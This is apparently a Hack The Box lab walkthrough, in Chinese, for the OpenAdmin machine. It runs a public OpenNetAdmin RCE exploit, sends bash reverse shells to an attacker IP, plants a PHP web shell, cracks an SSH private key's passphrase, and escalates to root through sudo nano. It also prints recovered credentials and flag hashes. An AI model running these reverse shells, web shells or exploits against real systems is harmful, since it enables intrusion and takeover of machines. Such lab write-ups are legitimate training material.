[Meachines] [Easy] OpenAdmin OpenNetAdmin-RCE+RSA私钥解密+Nano权限提升

信息收集

IP Address Opening Ports
10.10.10.171 TCP:22,80

$ nmap -p- 10.10.10.171 --min-rate 1000 -sC -sV

bash 复制代码
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP

$ gobuster dir -u "http://10.10.10.171/" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x html,txt,php -b 404,403 -t 50

username:admin password:admin

http://10.10.10.171/ona/

$ searchsploit OpenNetAdmin

$ cp /usr/share/exploitdb/exploits/php/webapps/47691.sh ./exp.sh

$ ./exp.sh 10.10.10.171/ona/

$ /bin/bash -c 'bash -i >%26 /dev/tcp/10.10.16.14/10032 0>%261'

www-data 横向 jimmy

$ cat /var/www/html/ona/local/config/database_settings.inc.php

username:ona_sys password:n1nj4W4rri0R!

$ su jimmy

jimmy 横向 joanna

方法1:HTTP

$ cat /etc/apache2/sites-enabled/internal.conf

$ ssh -i ~/.ssh/id_ed25519 jimmy@10.10.10.171 -L 52846:localhost:52846

http://127.0.0.1:52846/

$ vi /var/www/internal/reverse.php

php 复制代码
<?php system("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.14/10033 0>&1'");?>

$ curl http://127.0.0.1:52846/reverse.php

方法 2:RSA私钥解密SSH登录

$ cat main.php

$ curl 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Szh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----

$ openssl rsa -in id_rsa

$ grep -i ninja /usr/share/wordlists/rockyou.txt > pass.txt

$ ssh2john id_rsa >./id_rsa.john

$ john --wordlist=./pass.txt id_rsa.john

password:bloodninjas

$ openssl rsa -in id_rsa -out id_rsa_dec

User.txt

f6a493f3f0bb5732733a0f6e0eae9cf9

权限提升

$ sudo -l

$ sudo /bin/nano /opt/priv

^R^X

reset; sh 1>&0 2>&0

Root.txt

709cb8750a646cbc3d99cedbc8d23de7

相关推荐
轩辰~8 分钟前
网络协议入门
linux·服务器·开发语言·网络·arm开发·c++·网络协议
燕雀安知鸿鹄之志哉.25 分钟前
攻防世界 web ics-06
网络·经验分享·安全·web安全·网络安全
ProcessOn官方账号1 小时前
如何绘制网络拓扑图?附详细分类解说和用户案例!
网络·职场和发展·流程图·拓扑学
Ven%1 小时前
如何在防火墙上指定ip访问服务器上任何端口呢
linux·服务器·网络·深度学习·tcp/ip
神的孩子都在歌唱2 小时前
TCP/IP 模型中,网络层对 IP 地址的分配与路由选择
网络·tcp/ip·智能路由器
阿雄不会写代码2 小时前
ubuntu安装nginx
linux·服务器·网络
starstarzz2 小时前
计算机网络实验四:Cisco交换机配置VLAN
网络·计算机网络·智能路由器·vlan·虚拟局域网
网安墨雨4 小时前
常用网络协议
网络·网络协议
Tlzns4 小时前
Linux网络——UDP的运用
linux·网络·udp
黑客老陈4 小时前
新手小白如何挖掘cnvd通用漏洞之存储xss漏洞(利用xss钓鱼)
运维·服务器·前端·网络·安全·web3·xss